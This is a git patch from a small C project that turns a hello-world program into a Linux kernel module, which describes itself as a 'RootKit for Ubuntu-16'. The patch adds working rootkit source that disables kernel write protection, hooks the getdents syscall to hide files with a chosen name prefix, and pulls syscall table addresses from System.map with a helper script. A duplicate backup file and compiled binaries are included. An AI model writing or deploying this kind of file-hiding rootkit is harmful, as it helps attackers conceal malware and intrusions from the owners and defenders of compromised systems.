From c4040a613b8e40ebd73858028cf016cc2faefa99 Mon Sep 17 00:00:00 2001 From: Jan Koerner Date: Mon, 18 Nov 2019 18:04:30 +0100 Subject: [PATCH] =?UTF-8?q?Ordner=20/=20Dateien=20verstecken=20hinzugef?= =?UTF-8?q?=C3=BCgt?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .anjuta/.anjuta/session/anjuta.session | 8 ++ .anjuta/.anjuta/session/dock-layout.xml | 4 + .anjuta/session/anjuta.session | 20 +++++ .anjuta/session/dock-layout.xml | 47 ++++++++++ .anjuta_sym_db.db | Bin 122880 -> 917504 bytes 8008135 | Bin 0 -> 18880 bytes 8008135.c | 114 +++++++++++++++++++----- 8008135.c~ | 95 ++++++++++++++++++++ 8008135.o | Bin 0 -> 4928 bytes Makefile | 32 +------ create_sysgen.sh | 14 +++ gitignore | 3 + 12 files changed, 285 insertions(+), 52 deletions(-) create mode 100644 .anjuta/.anjuta/session/anjuta.session create mode 100644 .anjuta/.anjuta/session/dock-layout.xml create mode 100644 .anjuta/session/anjuta.session create mode 100644 .anjuta/session/dock-layout.xml create mode 100755 8008135 create mode 100644 8008135.c~ create mode 100644 8008135.o create mode 100755 create_sysgen.sh create mode 100644 gitignore diff --git a/.anjuta/.anjuta/session/anjuta.session b/.anjuta/.anjuta/session/anjuta.session new file mode 100644 index 0000000..2c58fea --- /dev/null +++ b/.anjuta/.anjuta/session/anjuta.session @@ -0,0 +1,8 @@ +[Anjuta] +Geometry=1916x1040+0+38 + +[Execution] +Run in terminal=2 + +[Document Manager] +bookmarks=\n\n diff --git a/.anjuta/.anjuta/session/dock-layout.xml b/.anjuta/.anjuta/session/dock-layout.xml new file mode 100644 index 0000000..412e040 --- /dev/null +++ b/.anjuta/.anjuta/session/dock-layout.xml @@ -0,0 +1,4 @@ + + + + diff --git a/.anjuta/session/anjuta.session b/.anjuta/session/anjuta.session new file mode 100644 index 0000000..ea695da --- /dev/null +++ b/.anjuta/session/anjuta.session @@ -0,0 +1,20 @@ +[Anjuta] +Geometry=1916x1040+0+38 + +[File Loader] +Files=../../Makefile#7%%%../../README.md#1%%%../../8008135.c#8 + +[Document Manager] +bookmarks=\n\n + +[Execution] +Run in terminal=2 +Working directories=../../. + +[Build] +Configuration list=1:Default:%%%1:Debug:Debug%%%1:Profiling:Profiling%%%1:Optimized:Optimized +Selected Configuration=Default +BuildArgs/Default=--enable-maintainer-mode +BuildArgs/Debug=--enable-maintainer-mode 'CFLAGS=-g -O0' 'CXXFLAGS=-g -O0' 'JFLAGS=-g -O0' 'FFLAGS=-g -O0' +BuildArgs/Profiling=--enable-maintainer-mode 'CFLAGS=-g -pg' 'CXXFLAGS=-g -pg' 'JFLAGS=-g -pg' 'FFLAGS=-g -pg' +BuildArgs/Optimized=--enable-maintainer-mode 'CFLAGS=-O2' 'CXXFLAGS=-O2' 'JFLAGS=-O2' 'FFLAGS=-O2' diff --git a/.anjuta/session/dock-layout.xml b/.anjuta/session/dock-layout.xml new file mode 100644 index 0000000..da9a403 --- /dev/null +++ b/.anjuta/session/dock-layout.xml @@ -0,0 +1,47 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/.anjuta_sym_db.db b/.anjuta_sym_db.db index f020943d69861ae0fa2e790a2ebc81a9c8278d0e..1b3246e0b08d5b82ac774548cb812e26c5fdfc54 100644 GIT binary patch delta 1625 zcmZoTz~0bcp%WbFlUb6gkd|MRn^>Y?%+SEV$jIQJpuoVuAO^%TKnw%I6LpN;#TfLg zKl0Z9V35tpXQ;bff3&W%W_w*!wM$K3RdKa&S#6bDX=0gANoJ`|u}O(a;qzkVg71ZU z3d#yji#(0u>`sMYEy4#Dp z7$>r_G1i}Fs6UV2l?dlgoUm>3d3iI|`X>zaPl(radh!!}MfUn<4E3MtpOK>NnY}z~ z{Vj(2Tf}QRIQf>pHf#L{hWZc0Yq~!9L%b+s1MwPOPby#~O??B2>POATnq$CeapHv0 z@W)Z2kQ+YJ5*S%o>whuS{~|sUJe>Y3pOKqnT|BJJOq`6RyrANirdf{EEJUJu04iUv AUjP6A delta 644 zcmc(d&1(~35XR@--FK7hZgyHyjs37j=ta8`N^QtRu^>4`q4g$SB34+b*~ENM3Nbke ziU`YF+&@9^HU#OVU=bD+3K6_TyoFToU=Sf8Im9$7h5iE_c;K1eFqe6zR!i3Q1J<3j zv|ZeYJ#?Nt&J<(IFaeCgjaUo-rbe0{>3>bS)^cPDt|WtegcuHv2D3OIdWpug79PU} zV1vj<(HJH;wg6j1P4rq-b}@i$z+c!NgZ7YJ;MfFg5`9LmS(O$!b^tp>ZS*=r=?t47 z>f`I0%>TL_<)1lKq;rmaz&=q2y?#~KkK5~9mO`u))>5FU6)?Y|Z$3A6&Aa+d zBWguU@r;^QY;MU{l?8Sv%g|+eP==4#bICdzkE+qtSq66Y!Nyi0ziAht3+pc3Rz{oe zh=|uKsb1K2xdh`w?I_CS2=@WMnBUFa@bB<@qhY+zv-&k{OS=^sgbsqe z;Im*d@GY>yeIk$7oz0}g=Ea(GPV8q_+4-@XaT4N9c3RlZeKsQwoVQXuD(*d<6Yboj zDCgG2UVc$@bH0!ZOZCJ291{!0lvpYJ6jmuA9u+@`ba_c+Nr DAt~6A diff --git a/8008135 b/8008135 new file mode 100755 index 0000000000000000000000000000000000000000..6d9c3b74be1854aa37fbc7614c7df461a0dbfe21 GIT binary patch literal 18880 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 literal 0 HcmV?d00001 diff --git a/8008135.c b/8008135.c index ac6725b..a706335 100644 --- a/8008135.c +++ b/8008135.c @@ -1,26 +1,92 @@ -/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */ -/* - * main.c - * Copyright (C) 2019 - * - * 8008135 is free software: you can redistribute it and/or modify it - * under the terms of the GNU General Public License as published by the - * Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * 8008135 is distributed in the hope that it will be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * See the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License along - * with this program. If not, see . - */ - -#include -int main() -{ - printf("Hello world\n"); - return (0); +#include +#include +#include +#include +#include +#include +#include "sysgen.h" + +#define GETDENTS_SYSCALL_NUM 78 +#define WRITE_PROTECT_FLAG (1<<16) +#define HIDE_PREFIX "8008135." +#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX)-1) +#define MODULE_NAME "8008135" +#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1) + + + +struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; // d_reclen is the way to tell the length of this entry + char d_name[1]; // the struct value is actually longer than this, and d_name is variable width. +}; + +MODULE_AUTHOR("JKE"); +MODULE_LICENSE("GPL v2"); +MODULE_DESCRIPTION("RootKit for Ubuntu-16"); + +typedef asmlinkage long (*sys_getdents_t)(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count); +sys_getdents_t sys_getdents_orig = NULL; + +// our new getdents handler +asmlinkage long sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) { + int boff; + struct linux_dirent* ent; + long ret = sys_getdents_orig(fd, dirent, count); + char* dbuf; + if (ret <= 0) { + return ret; + } + dbuf = (char*)dirent; + // go through the entries, looking for one that has our prefix + for (boff = 0; boff < ret;) { + ent = (struct linux_dirent*)(dbuf + boff); + + if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) // if it has the hide prefix + || (strstr(ent->d_name, MODULE_NAME) != NULL)) { // or if it has the module name anywhere in it + // remove this entry by copying everything after it forward + memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, ret - (boff + ent->d_reclen)); + // and adjust the length reported + ret -= ent->d_reclen; + } else { + // on to the next entry + boff += ent->d_reclen; + } + } + return ret; +} + +static int __init lkm_example_init(void) { + printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table); + + // record the original getdents handler + sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM]; + + printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig); + + // turn write protect off + write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); + + // add our new handlers + sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new; + + // turn write protect back on + write_cr0(read_cr0() | WRITE_PROTECT_FLAG); + + printk(KERN_INFO "New syscall in place\n"); + + return 0; +} +static void __exit lkm_example_exit(void) { + // allow us to write to read onlu pages + write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); + // set getdents handler back + sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig; + // turn write protect back on + write_cr0(read_cr0() | WRITE_PROTECT_FLAG); + printk(KERN_INFO "Old syscall back\n"); } +module_init(lkm_example_init); +module_exit(lkm_example_exit); \ No newline at end of file diff --git a/8008135.c~ b/8008135.c~ new file mode 100644 index 0000000..47776ac --- /dev/null +++ b/8008135.c~ @@ -0,0 +1,95 @@ +#include +#include +#include +#include +#include +#include +#include "sysgen.h" + +#define GETDENTS_SYSCALL_NUM 78 +#define WRITE_PROTECT_FLAG (1<<16) +#define HIDE_PREFIX "8008135." +#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX)-1) +#define MODULE_NAME "8008135" +#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1) + + + +struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; // d_reclen is the way to tell the length of this entry + char d_name[1]; // the struct value is actually longer than this, and d_name is variable width. +}; + +MODULE_AUTHOR("JKE"); +MODULE_LICENSE("GPL v2"); +MODULE_DESCRIPTION("RootKit for Ubuntu-16"); + +typedef asmlinkage long (*sys_getdents_t)(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count); +sys_getdents_t sys_getdents_orig = NULL; + +// our new getdents handler +asmlinkage long sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) { + int boff; + struct linux_dirent* ent; + long ret = sys_getdents_orig(fd, dirent, count); + char* dbuf; + if (ret <= 0) { + return ret; + } + dbuf = (char*)dirent; + // go through the entries, looking for one that has our prefix + for (boff = 0; boff < ret;) { + ent = (struct linux_dirent*)(dbuf + boff); + + if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) // if it has the hide prefix + || (strstr(ent->d_name, MODULE_NAME) != NULL)) { // or if it has the module name anywhere in it + // remove this entry by copying everything after it forward + memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, ret - (boff + ent->d_reclen)); + // and adjust the length reported + ret -= ent->d_reclen; + } else { + // on to the next entry + boff += ent->d_reclen; + } + } + return ret; +} + +static int __init lkm_example_init(void) { + printk(KERN_INFO "Hello, World!\n"); + + printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table); + + // record the original getdents handler + sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM]; + + printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig); + + // turn write protect off + write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); + + // add our new handlers + sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new; + + // turn write protect back on + write_cr0(read_cr0() | WRITE_PROTECT_FLAG); + + printk(KERN_INFO "New syscall in place\n"); + + return 0; +} +static void __exit lkm_example_exit(void) { + printk(KERN_INFO "Goodbye, World!\n"); + // allow us to write to read onlu pages + write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); + // set getdents handler back + sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig; + // turn write protect back on + write_cr0(read_cr0() | WRITE_PROTECT_FLAG); + printk(KERN_INFO "Old syscall back\n"); +} + +module_init(lkm_example_init); +module_exit(lkm_example_exit); \ No newline at end of file diff --git a/8008135.o b/8008135.o new file mode 100644 index 0000000000000000000000000000000000000000..89a94a9bfef5224781b19fc910c42cdc0fdc9398 GIT binary patch literal 4928 zcmbW4d011&7Qk;v*kln9MRECp0wUBv6eTPo%R?vx7ZgE+k^n)XglGt|X$?pbv2F;s zQ4|F0SE@y;R`l5?`dlL7TBWWK_Z3l}JJxq6ITOP){L}e9?ws?Rv&=m+lRGR4;ZHJP zFeuy@lt1-F!<6nVzsLbFH8-wp5m$f&itB z$zb->bE*<9`bIDVt&F=4w!v;2t%ql#|}=lS_QZa4X?%-T3t zY&KtIyFuDAjb}Wdu*H_62=R^hF~K0B*-vGE>f^tS4GL2pT#E&_+dR8CzfM(wSRezV$H*Xb0ek^*ksADbP?PXZATg6|B zDasX2^6I9JuB9&ycYpm|T-8*m+un;44&TbZ{7@3Z7?71FiG^%#Ja;hR% z9kM(cV9q)@WQ{`Uq;l-|SASENnwk!$!iO)HE^_xTD4(%EdrnMc+#CNLuVyES!)YO?k{y8mV`niA3HsE5@Lb*ZYL>|xs?KUL&Wh8N5ZxO%P}XEj%8eC^j< zi@qZcEQm6+UZ!fzUp*-GK7+EpVQrc_d1Ofut3Y{pTzo@WTTmD0Txoj$--ciL=|w`k zSGBY(q)c|%z!Jxx~NT)(&etAjxbSBKc$!QW-zGRRp|4C52`Qn&%lY#`5Y1RT)b``UA@1|`3 zMCZ;CZ%+w2I*WGQ@VUDuY`^7&nkl^dOV5;EEA4mbihPzSCwzF=Fdox-s7b>e!I;)d zs(akXs{>;_zsWKZIpuZ!+0E}~bDXy{C2o^@<-ohK%4XYbIjfxW${UoK;W6Rwf-AF( zcA3x1^A)^mj+`DbWb;i~)1juDeD8fP>n!GQyf(gm{LC(Pg-!RC%eP%)Dt+2_O@IHW zyxQ@X@Dac6ih3Vkb-O90W|NJxwAjF+&iA;h_~en*_7B`zSGeE#-^BB>(oZwRo|X4L zY)NcySho4lR_AW>TiT*qimjEqdX7d*N2S zaGj43SfGqHI`vW4oMtG3z9`PUaEj;Q!Q+k{$4RCnLU9I_7|Nd#6v$7UGHKHEkQs?H z0)zM=iPZcoc_tlzZpNC9LdOtQwfnQCnFB{FfbwIGE8K@>*cX{%d&JRSAe?J!G)Onh zOW@%5*I+H53VaZ7q(TTa8Kq;dyJ{RAj&kro_ak^2#1AI;Q_%SYSAssB;A0_99KqW_ z7ZM!LPfGBOpvwvVZ-}oT_#WWp1fK-Fn&3^KHxN7;boKp)mhrkcL!9G;y$p2tylU+~ zfqgq+ZwVaN6~_++yZ3~B9oQQ|kL}~Zt{=exQ*46U!)6&x@T;Kv5ZnO*g%Vs0d;xD&zsK<5%%3c5GJ@jep}d=bQ-NAMQl z#RPu@d;`Ic!u!?{{CnVy1Rn^zjo>bz-ywJen-u4Bhq>t)Q6y)SpZHl6wQi$NBN^7GkK8`Ta4&FQ&Gls5Iy| z5e|eI6rBd)v;^I=_4!YQ`8R4UH3I4Xf3A$YO#lD@ literal 0 HcmV?d00001 diff --git a/Makefile b/Makefile index dad9fa4..30987c0 100644 --- a/Makefile +++ b/Makefile @@ -1,30 +1,6 @@ - -## Created by Anjuta - -CC = gcc -CFLAGS = -g -Wall -OBJECTS = 8008135.o -INCFLAGS = -LDFLAGS = -Wl,-rpath,/usr/local/lib -LIBS = - -all: 8008135 - -8008135: $(OBJECTS) - $(CC) -o 8008135 $(OBJECTS) $(LDFLAGS) $(LIBS) - -.SUFFIXES: -.SUFFIXES: .c .cc .C .cpp .o - -.c.o : - $(CC) -o $@ -c $(CFLAGS) $< $(INCFLAGS) - -count: - wc *.c *.cc *.C *.cpp *.h *.hpp - +obj-m += 8008135.o +modules: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: - rm -f *.o + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean -.PHONY: all -.PHONY: count -.PHONY: clean diff --git a/create_sysgen.sh b/create_sysgen.sh new file mode 100755 index 0000000..7892adf --- /dev/null +++ b/create_sysgen.sh @@ -0,0 +1,14 @@ +#!/bin/bash +smap="/boot/System.map-$(uname -r)" + +echo -e "#pragma once" > ./sysgen.h +echo -e "#include " >> ./sysgen.h + +symbline=$(cat $smap | grep '\Wsys_call_table$') +set $symbline +echo -e "void** sys_call_table = (void**)0x$1;" >> ./sysgen.h + +procline=$(cat $smap | grep '\Wproc_modules_operations$') +set $procline + +echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> ./sysgen.h diff --git a/gitignore b/gitignore new file mode 100644 index 0000000..3beb967 --- /dev/null +++ b/gitignore @@ -0,0 +1,3 @@ +/.anjuta/ +/.anjuta_sym_db.db +